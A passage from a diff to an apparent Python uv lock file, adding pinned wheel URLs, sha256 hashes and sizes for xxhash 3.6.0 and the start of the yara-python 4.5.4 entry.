upload-time = "2025-10-02T14:35:35.107Z" }, + { url = "https://files.pythonhosted.org/packages/ad/e6/e8cf858a2b19d6d45820f072eff1bea413910592ff17157cabc5f1227a16/xxhash-3.6.0-cp313-cp313t-win_amd64.whl", hash = "sha256:b1e420ef35c503869c4064f4a2f2b08ad6431ab7b229a05cce39d74268bca6b8", size = 31799, upload-time = "2025-10-02T14:35:36.165Z" }, + { url = "https://files.pythonhosted.org/packages/56/15/064b197e855bfb7b343210e82490ae672f8bc7cdf3ddb02e92f64304ee8a/xxhash-3.6.0-cp313-cp313t-win_arm64.whl", hash = "sha256:ec44b73a4220623235f67a996c862049f375df3b1052d9899f40a6382c32d746", size = 28044, upload-time = "2025-10-02T14:35:37.195Z" }, + { url = "https://files.pythonhosted.org/packages/7e/5e/0138bc4484ea9b897864d59fce9be9086030825bc778b76cb5a33a906d37/xxhash-3.6.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:a40a3d35b204b7cc7643cbcf8c9976d818cb47befcfac8bbefec8038ac363f3e", size = 32754, upload-time = "2025-10-02T14:35:38.245Z" }, + { url = "https://files.pythonhosted.org/packages/18/d7/5dac2eb2ec75fd771957a13e5dda560efb2176d5203f39502a5fc571f899/xxhash-3.6.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a54844be970d3fc22630b32d515e79a90d0a3ddb2644d8d7402e3c4c8da61405", size = 30846, upload-time = "2025-10-02T14:35:39.6Z" }, + { url = "https://files.pythonhosted.org/packages/fe/71/8bc5be2bb00deb5682e92e8da955ebe5fa982da13a69da5a40a4c8db12fb/xxhash-3.6.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:016e9190af8f0a4e3741343777710e3d5717427f175adfdc3e72508f59e2a7f3", size = 194343, upload-time = "2025-10-02T14:35:40.69Z" }, + { url = "https://files.pythonhosted.org/packages/e7/3b/52badfb2aecec2c377ddf1ae75f55db3ba2d321c5e164f14461c90837ef3/xxhash-3.6.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4f6f72232f849eb9d0141e2ebe2677ece15adfd0fa599bc058aad83c714bb2c6", size = 213074, upload-time = "2025-10-02T14:35:42.29Z" }, + { url = "https://files.pythonhosted.org/packages/a2/2b/ae46b4e9b92e537fa30d03dbc19cdae57ed407e9c26d163895e968e3de85/xxhash-3.6.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:63275a8aba7865e44b1813d2177e0f5ea7eadad3dd063a21f7cf9afdc7054063", size = 212388, upload-time = "2025-10-02T14:35:43.929Z" }, + { url = "https://files.pythonhosted.org/packages/f5/80/49f88d3afc724b4ac7fbd664c8452d6db51b49915be48c6982659e0e7942/xxhash-3.6.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3cd01fa2aa00d8b017c97eb46b9a794fbdca53fc14f845f5a328c71254b0abb7", size = 445614, upload-time = "2025-10-02T14:35:45.216Z" }, + { url = "https://files.pythonhosted.org/packages/ed/ba/603ce3961e339413543d8cd44f21f2c80e2a7c5cfe692a7b1f2cccf58f3c/xxhash-3.6.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0226aa89035b62b6a86d3c68df4d7c1f47a342b8683da2b60cedcddb46c4d95b", size = 194024, upload-time = "2025-10-02T14:35:46.959Z" }, + { url = "https://files.pythonhosted.org/packages/78/d1/8e225ff7113bf81545cfdcd79eef124a7b7064a0bba53605ff39590b95c2/xxhash-3.6.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c6e193e9f56e4ca4923c61238cdaced324f0feac782544eb4c6d55ad5cc99ddd", size = 210541, upload-time = "2025-10-02T14:35:48.301Z" }, + { url = "https://files.pythonhosted.org/packages/6f/58/0f89d149f0bad89def1a8dd38feb50ccdeb643d9797ec84707091d4cb494/xxhash-3.6.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:9176dcaddf4ca963d4deb93866d739a343c01c969231dbe21680e13a5d1a5bf0", size = 198305, upload-time = "2025-10-02T14:35:49.584Z" }, + { url = "https://files.pythonhosted.org/packages/11/38/5eab81580703c4df93feb5f32ff8fa7fe1e2c51c1f183ee4e48d4bb9d3d7/xxhash-3.6.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:c1ce4009c97a752e682b897aa99aef84191077a9433eb237774689f14f8ec152", size = 210848, upload-time = "2025-10-02T14:35:50.877Z" }, + { url = "https://files.pythonhosted.org/packages/5e/6b/953dc4b05c3ce678abca756416e4c130d2382f877a9c30a20d08ee6a77c0/xxhash-3.6.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:8cb2f4f679b01513b7adbb9b1b2f0f9cdc31b70007eaf9d59d0878809f385b11", size = 414142, upload-time = "2025-10-02T14:35:52.15Z" }, + { url = "https://files.pythonhosted.org/packages/08/a9/238ec0d4e81a10eb5026d4a6972677cbc898ba6c8b9dbaec12ae001b1b35/xxhash-3.6.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:653a91d7c2ab54a92c19ccf43508b6a555440b9be1bc8be553376778be7f20b5", size = 191547, upload-time = "2025-10-02T14:35:53.547Z" }, + { url = "https://files.pythonhosted.org/packages/f1/ee/3cf8589e06c2164ac77c3bf0aa127012801128f1feebf2a079272da5737c/xxhash-3.6.0-cp314-cp314-win32.whl", hash = "sha256:a756fe893389483ee8c394d06b5ab765d96e68fbbfe6fde7aa17e11f5720559f", size = 31214, upload-time = "2025-10-02T14:35:54.746Z" }, + { url = "https://files.pythonhosted.org/packages/02/5d/a19552fbc6ad4cb54ff953c3908bbc095f4a921bc569433d791f755186f1/xxhash-3.6.0-cp314-cp314-win_amd64.whl", hash = "sha256:39be8e4e142550ef69629c9cd71b88c90e9a5db703fecbcf265546d9536ca4ad", size = 32290, upload-time = "2025-10-02T14:35:55.791Z" }, + { url = "https://files.pythonhosted.org/packages/b1/11/dafa0643bc30442c887b55baf8e73353a344ee89c1901b5a5c54a6c17d39/xxhash-3.6.0-cp314-cp314-win_arm64.whl", hash = "sha256:25915e6000338999236f1eb68a02a32c3275ac338628a7eaa5a269c401995679", size = 28795, upload-time = "2025-10-02T14:35:57.162Z" }, + { url = "https://files.pythonhosted.org/packages/2c/db/0e99732ed7f64182aef4a6fb145e1a295558deec2a746265dcdec12d191e/xxhash-3.6.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:c5294f596a9017ca5a3e3f8884c00b91ab2ad2933cf288f4923c3fd4346cf3d4", size = 32955, upload-time = "2025-10-02T14:35:58.267Z" }, + { url = "https://files.pythonhosted.org/packages/55/f4/2a7c3c68e564a099becfa44bb3d398810cc0ff6749b0d3cb8ccb93f23c14/xxhash-3.6.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1cf9dcc4ab9cff01dfbba78544297a3a01dafd60f3bde4e2bfd016cf7e4ddc67", size = 31072, upload-time = "2025-10-02T14:35:59.382Z" }, + { url = "https://files.pythonhosted.org/packages/c6/d9/72a29cddc7250e8a5819dad5d466facb5dc4c802ce120645630149127e73/xxhash-3.6.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:01262da8798422d0685f7cef03b2bd3f4f46511b02830861df548d7def4402ad", size = 196579, upload-time = "2025-10-02T14:36:00.838Z" }, + { url = "https://files.pythonhosted.org/packages/63/93/b21590e1e381040e2ca305a884d89e1c345b347404f7780f07f2cdd47ef4/xxhash-3.6.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:51a73fb7cb3a3ead9f7a8b583ffd9b8038e277cdb8cb87cf890e88b3456afa0b", size = 215854, upload-time = "2025-10-02T14:36:02.207Z" }, + { url = "https://files.pythonhosted.org/packages/ce/b8/edab8a7d4fa14e924b29be877d54155dcbd8b80be85ea00d2be3413a9ed4/xxhash-3.6.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b9c6df83594f7df8f7f708ce5ebeacfc69f72c9fbaaababf6cf4758eaada0c9b", size = 214965, upload-time = "2025-10-02T14:36:03.507Z" }, + { url = "https://files.pythonhosted.org/packages/27/67/dfa980ac7f0d509d54ea0d5a486d2bb4b80c3f1bb22b66e6a05d3efaf6c0/xxhash-3.6.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:627f0af069b0ea56f312fd5189001c24578868643203bca1abbc2c52d3a6f3ca", size = 448484, upload-time = "2025-10-02T14:36:04.828Z" }, + { url = "https://files.pythonhosted.org/packages/8c/63/8ffc2cc97e811c0ca5d00ab36604b3ea6f4254f20b7bc658ca825ce6c954/xxhash-3.6.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:aa912c62f842dfd013c5f21a642c9c10cd9f4c4e943e0af83618b4a404d9091a", size = 196162, upload-time = "2025-10-02T14:36:06.182Z" }, + { url = "https://files.pythonhosted.org/packages/4b/77/07f0e7a3edd11a6097e990f6e5b815b6592459cb16dae990d967693e6ea9/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:b465afd7909db30168ab62afe40b2fcf79eedc0b89a6c0ab3123515dc0df8b99", size = 213007, upload-time = "2025-10-02T14:36:07.733Z" }, + { url = "https://files.pythonhosted.org/packages/ae/d8/bc5fa0d152837117eb0bef6f83f956c509332ce133c91c63ce07ee7c4873/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:a881851cf38b0a70e7c4d3ce81fc7afd86fbc2a024f4cfb2a97cf49ce04b75d3", size = 200956, upload-time = "2025-10-02T14:36:09.106Z" }, + { url = "https://files.pythonhosted.org/packages/26/a5/d749334130de9411783873e9b98ecc46688dad5db64ca6e04b02acc8b473/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:9b3222c686a919a0f3253cfc12bb118b8b103506612253b5baeaac10d8027cf6", size = 213401, upload-time = "2025-10-02T14:36:10.585Z" }, + { url = "https://files.pythonhosted.org/packages/89/72/abed959c956a4bfc72b58c0384bb7940663c678127538634d896b1195c10/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:c5aa639bc113e9286137cec8fadc20e9cd732b2cc385c0b7fa673b84fc1f2a93", size = 417083, upload-time = "2025-10-02T14:36:12.276Z" }, + { url = "https://files.pythonhosted.org/packages/0c/b3/62fd2b586283b7d7d665fb98e266decadf31f058f1cf6c478741f68af0cb/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5c1343d49ac102799905e115aee590183c3921d475356cb24b4de29a4bc56518", size = 193913, upload-time = "2025-10-02T14:36:14.025Z" }, + { url = "https://files.pythonhosted.org/packages/9a/9a/c19c42c5b3f5a4aad748a6d5b4f23df3bed7ee5445accc65a0fb3ff03953/xxhash-3.6.0-cp314-cp314t-win32.whl", hash = "sha256:5851f033c3030dd95c086b4a36a2683c2ff4a799b23af60977188b057e467119", size = 31586, upload-time = "2025-10-02T14:36:15.603Z" }, + { url = "https://files.pythonhosted.org/packages/03/d6/4cc450345be9924fd5dc8c590ceda1db5b43a0a889587b0ae81a95511360/xxhash-3.6.0-cp314-cp314t-win_amd64.whl", hash = "sha256:0444e7967dac37569052d2409b00a8860c2135cff05502df4da80267d384849f", size = 32526, upload-time = "2025-10-02T14:36:16.708Z" }, + { url = "https://files.pythonhosted.org/packages/0f/c9/7243eb3f9eaabd1a88a5a5acadf06df2d83b100c62684b7425c6a11bcaa8/xxhash-3.6.0-cp314-cp314t-win_arm64.whl", hash = "sha256:bb79b1e63f6fd84ec778a4b1916dfe0a7c3fdb986c06addd5db3a0d413819d95", size = 28898, upload-time = "2025-10-02T14:36:17.843Z" }, + { url = "https://files.pythonhosted.org/packages/93/1e/8aec23647a34a249f62e2398c42955acd9b4c6ed5cf08cbea94dc46f78d2/xxhash-3.6.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0f7b7e2ec26c1666ad5fc9dbfa426a6a3367ceaf79db5dd76264659d509d73b0", size = 30662, upload-time = "2025-10-02T14:37:01.743Z" }, + { url = "https://files.pythonhosted.org/packages/b8/0b/b14510b38ba91caf43006209db846a696ceea6a847a0c9ba0a5b1adc53d6/xxhash-3.6.0-pp311-pypy311_pp73-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:5dc1e14d14fa0f5789ec29a7062004b5933964bb9b02aae6622b8f530dc40296", size = 41056, upload-time = "2025-10-02T14:37:02.879Z" }, + { url = "https://files.pythonhosted.org/packages/50/55/15a7b8a56590e66ccd374bbfa3f9ffc45b810886c8c3b614e3f90bd2367c/xxhash-3.6.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:881b47fc47e051b37d94d13e7455131054b56749b91b508b0907eb07900d1c13", size = 36251, upload-time = "2025-10-02T14:37:04.44Z" }, + { url = "https://files.pythonhosted.org/packages/62/b2/5ac99a041a29e58e95f907876b04f7067a0242cb85b5f39e726153981503/xxhash-3.6.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c6dc31591899f5e5666f04cc2e529e69b4072827085c1ef15294d91a004bc1bd", size = 32481, upload-time = "2025-10-02T14:37:05.869Z" }, + { url = "https://files.pythonhosted.org/packages/7b/d9/8d95e906764a386a3d3b596f3c68bb63687dfca806373509f51ce8eea81f/xxhash-3.6.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:15e0dac10eb9309508bfc41f7f9deaa7755c69e35af835db9cb10751adebc35d", size = 31565, upload-time = "2025-10-02T14:37:06.966Z" }, +] + +[[package]] +name = "yara-python" +version = "4.5.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/51/38/347d1fcde4edabd338d5872ca5759ccfb95ff1cf5207dafded981fd08c4f/yara_python-4.5.4.tar.gz", hash = "sha256:4c682170f3d5cb3a73aa1bd0dc9ab1c0957437b937b7a83ff6d7ffd366415b9c", size = 551142, upload-time = "2025-05-27T14:15:49.035Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/51/7f/5767870ecdde75b7991f67caa5d78d692d30239529b66262a33bb6ab12e3/yara_python-4.5.4-cp310-cp310-macosx_14_0_arm64.whl", hash = "sha256:721d341bd2013fbada4df5aba0eb79a9e4e21c4b86441f7f111ab8c31671f125", size = 2471734, upload-time = "2025-05-27T14:14:03.034Z" }, + { url = "https://files.pythonhosted.org/packages/13/01/c7253b9cbeb9058deff46e332d98d8a76ecdc07235a41f1a3050348b035e/yara_python-4.5.4-cp310-cp310-macosx_14_0_x86_64.whl", hash = "sha256:c785fd16475f2a3191cd4fae0cd608b1ba6271f495ec86fa26a3c5ac53f5f2e1", size = 208858, upload-time = "2025-05-27T14:14:04.728Z" }, + { url = "https://files.pythonhosted.org/packages/02/09/cbe63e02a7b2448cd84b78918c1d765ce17038f1e7f0a6ae25e942bdca22/yara_python-4.5.4-cp310-cp310-macosx_15_0_arm64.whl", hash = "sha256:5eefa3b157cd5f4454a317907bab334036f61385324b70cb61dbc656c44168d5", size = 2478392, upload-time = "2025-05-27T14:14:06.404Z" }, + { url = "https://files.pythonhosted.org/packages/01/02/c5f2953a7dfd3055fd67581fe740c46c7b678d3760faced24674080019c8/yara_python-4.5.4-cp310-cp310-macosx_15_0_x86_64.whl", hash = "sha256:bbc0c5a2ee67e6043e4c2622093ebfc7d2c173dc643dd089742aedbdea48d6a4", size = 209306, upload-time = "2025-05-27T14:14:07.876Z" }, + { url = "https://files.pythonhosted.org/packages/be/70/a7bd03cbf1ac7e9fcfe292b3dfad181d7fb7eabf6d0ee493f7c5b2386238/yara_python-4.5.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1b091f1bd6c5d2a9b5c0c682ba67ba31b87bb71b27876430775998b71c8e3f97", size = 2240111, upload-time = "2025-05-27T14:14:09.246Z" }, + { url = "https://files.pythonhosted.org/packages/0a/3d/0b0eadc8b39aa61cc04337d60b15fdebccaf662877a30604baadf760a4f5/yara_python-4.5.4-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:91276c90bb5e148e10050015fec8a1d4009a95eee9eb832d154f80355d0b4080", size = 2323286, upload-time = "2025-05-27T14:14:10.688Z" }, + { url = "https://files.pythonhosted.org/packages/c4/30/aab92c73b02bdda575f9507108c9617708f8d6812647a0654bc44447fc20/yara_python-4.5.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e20e1f69b6239fe4f4da97e9ff361d9be25d6f1d747589ea44b8a9ec412a12d", size = 2327981, upload-time = "2025-05-27T14:14:13.044Z" }, + { url = "https://files.pythonhosted.org/packages/7a/40/461d76a5ec526679e58efca35383d3511cade8c8fc8868ad9f97bea21a1a/yara_python-4.5.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:a83773b561727fc360f7a6874f7fac1409bc9c391134dc3e070f1c2515c0db98", size = 2946194, upload-time = "2025-05-27T14:14:14.717Z" }, + { url = "https://files.pythonhosted.org/packages/33/d2/656319472612d821d224ef2a79dc5b8339332aa03e4586e5fd9ec0c45f4e/yara_python-4.5.4-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:14f203bd9fb33ad591e046429560133127fa4a6201dac28c525fa7c6c7ca36a7", size = 2416600, upload-time = "2025-05-27T14:14:16.269Z" }, + { url = "https://files.pythonhosted.org/packages/5e/76/5ec476aa39e81d4dd5e26071f6b2c763c4a7d7f628dff3370fe6053ba9ac/yara_python-4.5.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:e632daf9f38f8d4b433f08f798b07a45756e6c396e9e0ec54aac10045f6d241d", size = 2636555, upload-time = "2025-05-27T14:14:18.082Z" }, + { url = "https://files.pythonhosted.org/packages/f1/b5/26cdb3d13b91625dc35a68aca2db8cb62d6c6d5e7b83d97981b350163dd3/yara_python-4.5.4-cp310-cp310-win32.whl", hash = "sha256:a3866830f7f2d071f94cbce7c41d91444ac29e2cbbe279914abf518d57a2d41f", size = 1447301, upload-time = "2025-05-27T14:14:19.635Z" }, + { url = "https://files.pythonhosted.org/packages/be/21/68f211559de12eac0cb0fd8dbda279cadb0cc681cc4dc6394f9e06dfd4e2/yara_python-4.5.4-cp310-cp310-win_amd64.whl", hash = "sha256:135c1097ea0445a323038acd509162675ce6d5e21f848aa856779632d48dec42", size = 1825559, upload-time = "2025-05-27T14:14:21.508Z" }, + { url = "https://files.pythonhosted.org/packages/17/17/f0bc4a643d8c3afb485c34b70fe1d161f3fe0459361d2eb3561d23cc16e1/yara_python-4.5.4-cp311-cp311-macosx_14_0_arm64.whl", hash = "sha256:e3e2a5575d61adc2b4ff2007737590783a43d16386b061ac12e6e70a82e5d1de", size = 2471737, upload-time = "2025-05-27T14:14:23.876Z" }, + { url = "https://files.pythonhosted.org/packages/3f/11/39c74fc2732b89d4a5a6ad272b2b60ec84b3aae53b120a9eccc742eec802/yara_python-4.5.4-cp311-cp311-macosx_14_0_x86_64.whl", hash = "sha256:f79a27dbdafb79fc2dc03c7c3ba66751551e3e0b350ab69cc499870b78a6cb95", size = 208862, upload-time = "2025-05-27T14:14:25.941Z" }, + { url = "https://files.pythonhosted.org/packages/05/ef/ff38abffe3c5126da0b4f31471bc6df2e38f4f532a65941a1a8092cddb4f/yara_python-4.5.4-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:9d9acf6f8135bcee03f47b1096ad69f4a2788abe37dd070aab6e9dd816742ecc", size = 2478391, upload-time = "2025-05-27T14:14:27.802Z" }, + { url = "https://files.pythonhosted.org/packages/69/97/638f0f6920250dd4cc202f05d2b931c4aeb8ea916ae185cd15b9dacf9ae4/yara_python-4.5.4-cp311-cp311-macosx_15_0_x86_64.whl", hash = "sha256:0e762e6c5b47ddf30b0128ba723da46fcc2aa7959a252748497492cb452d1c84", size = 209304, upload-time = "2025-05-27T14:14:29.663Z" }, + { url = "https://files.pythonhosted.org/packages/2a/08/e9396374b8d4348f71db28dabbcbde21ceb0e68c604a4de82ab4f1c286e9/yara_python-4.5.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:adcfac4b225e76ab6dcbeaf10101f0de2731fdbee51610dbc77b96e667e85a3a", size = 2242098, upload-time = "2025-05-27T14:14:31.001Z" }, + { url = "https://files.pythonhosted.org/packages/58/fa/b159db2afedef12d5de32b6eb7c087a78c29dc51fc5111475bbd96759744/yara_python-4.5.4-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a82c87038f0da2d90051bfd6449cf9a4b977a15ee8372f3512ce0a413ef822fd", size = 2324289, upload-time = "2025-05-27T14:14:32.852Z" }, + { url = "https://files.pythonhosted.org/packages/ad/1e/8846d6c37e3cc5328ac90d888ac60599ed62f1ffcb7d68054ad60954df4a/yara_python-4.5.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1a1721b61ee4e625a143e8e5bf32fa6774797c06724c45067f3e8919a8e5f8f3", size = 2329563, upload-time = "2025-05-27T14:14:34.758Z" }, + { url = "https://files.pythonhosted.org/packages/35/db/d6de595384e357366a8e7832876e5d9be56629e29e12d2a9325cc652e855/yara_python-4.5.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:57d80c7591bbc6d9e73934e0fa4cbbb35e3e733b2706c5fd6756edf495f42678", size = 2947661, upload-time = "2025-05-27T14:14:37.419Z" }, + { url = "https://files.pythonhosted.org/packages/b9/26/35d67095b0b000315545c59b2826166371d005f9815ca6c7c79a87e6c4cc/yara_python-4.5.4-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:3872b5f5575d6f5077f86e2b8bcdfe8688f859a50854334a4085399331167abc", size = 2417932, upload-time = "2025-05-27T14:14:40.402Z" }, + { url = "https://files.pythonhosted.org/packages/8f/28/760d114cea3f160e3f862d747208a09150974a668a49c0cee23a943006c4/yara_python-4.5.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:fd84af5b6da3429236b61f3ad8760fdc739d0e1d6a08b8f3d90cd375e71594df", size = 2638058, upload-time = "2025-05-27T14:14:42.141Z" }, + { url = "https://files.pythonhosted.org/packages/74/9d/e208dd3ffc38a163d18476d2f758c24de8ece67c9d59c654a6b5b400fd96/yara_python-4.5.4-cp311-cp311-win32.whl", hash = "sha256:491c9de854e4a47dfbef7b3a38686c574459779915be19dcf4421b65847a57ce", size = 1447300, upload-time = "2025-05-27T14:14:44.091Z" }, + { url = "https://files.pythonhosted.org/packages/85/ad/23ed18900f6024d5c1de567768c12a53c5759ac90d08624c87c816cd7249/yara_python-4.5.4-cp311-cp311-win_amd64.whl", hash = "sha256:2a1bf52cb7b9178cc1ee2acd1697a0c8468af0c76aa1beffe22534bd4f62698b", size = 1825566, upload-time = "2025-05-27T14:14:45.879Z" }, + { url = "https://files.pythonhosted.org/packages/5a/cc/deaf10b6b31ee81842176affce79d57c3b6df50e894cf6cdbb1f0eb12af2/yara_python-4.5.4-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:ade234700c492bce0efda96c1cdcd763425016e40df4a8d30c4c4e6897be5ace", size = 2471771, upload-time = "2025-05-27T14:14:47.381Z" }, + { url = "https://files.pythonhosted.org/packages/b1/47/9227c56450be00db6a3a50ccf88ba201945ae14a34b80b3aae4607954159/yara_python-4.5.4-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:e1dedd149be61992781f085b592d169d1d813f9b5ffc7c8c2b74e429b443414c", size = 208991, upload-time = "2025-05-27T14:14:48.832Z" }, + { url = "https://files.pythonhosted.org/packages/5b/0d/1f2e054f7ddf9fd4c873fccf63a08f2647b205398e11ea75cf44c161e702/yara_python-4.5.4-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:92b233aae320ee9e59728ee23f9faf4a423ae407d4768b47c8f0e472a34dbae2", size = 2478413, upload-time = "2025-05-27T14:14:50.205Z" }, + { url = "https://files.pythonhosted.org/packages/10/ab/96e2d06c909ba07941d6d303f23624e46751a54d6fd358069275f982168c/yara_python-4.5.4-cp312-cp312-macosx_15_0_x86_64.whl", hash = "sha256:1f238f10d26e4701559f73a69b22e1e192a6fa20abdd76f57a7054566780aa89", size = 209401, upload-time = "2025-05-27T14:14:52.017Z" }, + { url = "https://files.pythonhosted.org/packages/df/7d/e51ecb0db87094976904a52eb521e3faf9c18f7c889b9d5cf996ae3bb680/yara_python-4.5.4-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d29d0e137e0d77dd110186369276e88381f784bdc45b5932a2fb3463e2a1b1c7", size = 2245326, upload-time = "2025-05-27T14:14:53.338Z" }, + { url = "https://files.pythonhosted.org/packages/4c/5e/fe93d8609b8470148ebbae111f209c6f208bb834cee64046fce0532fcc70/yara_python-4.5.4-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e7d0039d734705b123494acad7a00b67df171dd5b1c16ff7b18ff07578efd4cd", size = 2327041, upload-time = "2025-05-27T14:14:54.915Z" }, + { url = "https://files.pythonhosted.org/packages/52/06/104c4daa22e34a7edb49051798126c37f6280d4f1ea7e8888b043314e72d/yara_python-4.5.4-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e5eae935b05a9f8dc71df55a79c38f52abd93f8840310fe4e0d75fbd78284f24", size = 2332343, upload-time = "2025-05-27T14:14:56.424Z" }, + { url = "https://files.pythonhosted.org/packages/cd/38/4b788b8fe15faca08e4a52c0b3dc8787953115ce1811e7bf9439914b6a5b/yara_python-4.5.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:30fc7959394532c6e3f48faf59337f5da124f1630668258276b6cfa54e555a6e", size = 2949346, upload-time = "2025-05-27T14:14:57.924Z" }, + { url = "https://files.pythonhosted.org/packages/53/3a/c1d97172aa9672f381df78b4d3a9f60378f35431ff48f4a6c45037057e07/yara_python-4.5.4-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:e6d8c2acaf33931338fdb78aba8a68462b0151d833b2eeda712db87713ac2abf", size = 2421057, upload-time = "2025-05-27T14:15:00.118Z" }, + { url = "https://files.pythonhosted.org/packages/ba/cc/c6366d6d047f73594badd5444f6a32501e8b20ab1a7124837d305c08b42b/yara_python-4.5.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:a3c7bc8cd0db5fb87ab579c755de83723030522f3c0cd5b3374044055a8ce6c6", size = 2639871, upload-time = "2025-05-27T14:15:02.63Z" }, + { url = "https://files.pythonhosted.org/packages/e6/5c/edacbd11db432ac04a37c9e3a7c569986256d9659d1859c6f828268dfeed/yara_python-4.5.4-cp312-cp312-win32.whl", hash = "sha256:d12e57101683e9270738a1bccf676747f93e86b5bc529e7a7fb7adf94f20bd77", size = 1447403, upload-time = "2025-05-27T14:15:04.193Z" }, + { url = "https://files.pythonhosted.org/packages/ad/e1/f6a72c155f3241360da890c218911d09bf63329eca9cfa1af64b1498339b/yara_python-4.5.4-cp312-cp312-win_amd64.whl", hash = "sha256:bf14a8af06b2b980a889bdc3f9e8ccd6e703d2b3fa1c98da5fd3a1c3b551eb47", size = 1825743, upload-time = "2025-05-27T14:15:05.678Z" }, + { url = "https://files.pythonhosted.org/packages/74/7f/9bf4864fee85f86302d78d373c93793419c080222b5e18badadebb959263/yara_python-4.5.4-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:fe8ad189843c729eae74be3b8447a4753fac2cebe705e5e2a7280badfcc7e3b4", size = 2471811, upload-time = "2025-05-27T14:15:07.55Z" }, + { url = "https://files.pythonhosted.org/packages/44/58/dca36144c44b0613dbc39c70cc32ee0fc9db1ba9e5fa15f55657183f4229/yara_python-4.5.4-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:94e290d5035be23059d0475bff3eac8228acd51145bf0cabe355b1ddabab742b", size = 209044, upload-time = "2025-05-27T14:15:09.142Z" }, + { url = "https://files.pythonhosted.org/packages/8b/4c/997be6898cdda211cb601ae2af40a2dbd89a48ba9889168ddd3993636e97/yara_python-4.5.4-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:4537f8499d166d22a54739f440fb306f65b0438be2c6c4ecb2352ecb5adb5f1c", size = 2478416, upload-time = "2025-05-27T14:15:10.58Z" }, + { url = "https://files.pythonhosted.org/packages/b6/29/91d5911d6decdd8a96bb891cacd8922569480ff1d4b47e7947b5dfc7f1d6/yara_python-4.5.4-cp313-cp313-macosx_15_0_x86_64.whl", hash = "sha256:ab5133a16e466db6fe9c1a08d1b171013507896175010fb85fc1b92da32e558c", size = 209441, upload-time = "2025-05-27T14:15:12.173Z" }, + { url = "https://files.pythonhosted.org/packages/87/9b/e21f534f33062f2e5f6dceec3cb4918f4923264b1609652adc0c83fe2bde/yara_python-4.5.4-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:93f5f5aba88e2ed2aaebfbb697433a0c8020c6a6c6a711e900a29e9b512d5c3a", size = 2245135, upload-time = "2025-05-27T14:15:13.569Z" }, + { url = 